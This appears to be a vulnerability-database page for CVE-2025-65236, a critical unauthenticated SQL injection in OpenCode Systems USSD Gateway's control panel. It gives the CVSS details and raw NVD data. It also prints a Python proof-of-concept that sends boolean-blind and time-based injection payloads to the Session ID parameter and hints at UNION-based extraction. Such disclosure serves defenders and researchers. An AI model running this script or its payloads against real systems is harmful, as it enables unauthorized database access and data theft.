Security Vulnerability Report
中文
CVE-2025-65236 CVSS 9.8 CRITICAL

CVE-2025-65236

Published: 2025-11-26 17:15:47
Last Modified: 2026-01-02 20:47:26

Description

OpenCode Systems USSD Gateway OC Release: 5 was discovered to contain a SQL injection vulnerability via the Session ID parameter in the /occontrolpanel/index.php endpoint.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:opencode:ussd_gateway:6.13.11:*:*:*:*:*:*:* - VULNERABLE
OpenCode Systems USSD Gateway OC Release 5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65236 SQL Injection PoC # Target: OpenCode Systems USSD Gateway OC Release 5 # Endpoint: /occontrolpanel/index.php # Parameter: Session ID def exploit_sqli(target_url, session_param): """ SQL Injection exploit for CVE-2025-65236 Testing boolean-based blind SQL injection """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Normal request baseline baseline_url = f"{target_url}/occontrolpanel/index.php" baseline_response = requests.get(baseline_url, headers=headers) # SQL Injection payloads - Boolean blind injection true_payload = f"{session_param}' OR 1=1--" false_payload = f"{session_param}' AND 1=2--" # Time-based blind injection time_payload = f"{session_param}' AND SLEEP(5)--" print(f"[*] Target: {target_url}") print(f"[*] Testing Session ID parameter for SQL injection...") # Test with true condition true_data = {'SessionID': true_payload} try: true_resp = requests.post(baseline_url, data=true_data, headers=headers, timeout=10) print(f"[+] True condition response status: {true_resp.status_code}") except Exception as e: print(f"[-] Error: {e}") # Test with false condition false_data = {'SessionID': false_payload} try: false_resp = requests.post(baseline_url, data=false_data, headers=headers, timeout=10) print(f"[*] False condition response status: {false_resp.status_code}") except Exception as e: print(f"[-] Error: {e}") # Time-based injection test time_data = {'SessionID': time_payload} try: import time start = time.time() time_resp = requests.post(baseline_url, data=time_data, headers=headers, timeout=30) elapsed = time.time() - start if elapsed > 4: print(f"[+] Time-based SQL injection confirmed! Response time: {elapsed}s") else: print(f"[*] Response time: {elapsed}s") except requests.Timeout: print("[+] Time-based SQL injection confirmed - request timed out") except Exception as e: print(f"[-] Error: {e}") print("\n[*] Manual verification recommended") print("[*] Try: /occontrolpanel/index.php?SessionID=' UNION SELECT...--") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-65236.py <target_url>") print("Example: python cve-2025-65236.py http://victim.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target, 'test_session')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65236", "sourceIdentifier": "[email protected]", "published": "2025-11-26T17:15:47.147", "lastModified": "2026-01-02T20:47:26.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenCode Systems USSD Gateway OC Release: 5 was discovered to contain a SQL injection vulnerability via the Session ID parameter in the /occontrolpanel/index.php endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opencode:ussd_gateway:6.13.11:*:*:*:*:*:*:*", "matchCriteriaId": "56AD3C50-7C66-4B18-9817-AC6E9D7E8B42"}]}]}], "references": [{"url": "https://eslam3kl.gitbook.io", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://eslam3kl.gitbook.io/blog/web-application-findings/cve-2025-65236-ussd-gateway-sql-injection-sessions", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/eslam3kl", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://eslam3kl.gitbook.io/blog/web-application-findings/cve-2025-65236-ussd-gateway-sql-injection-sessions", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}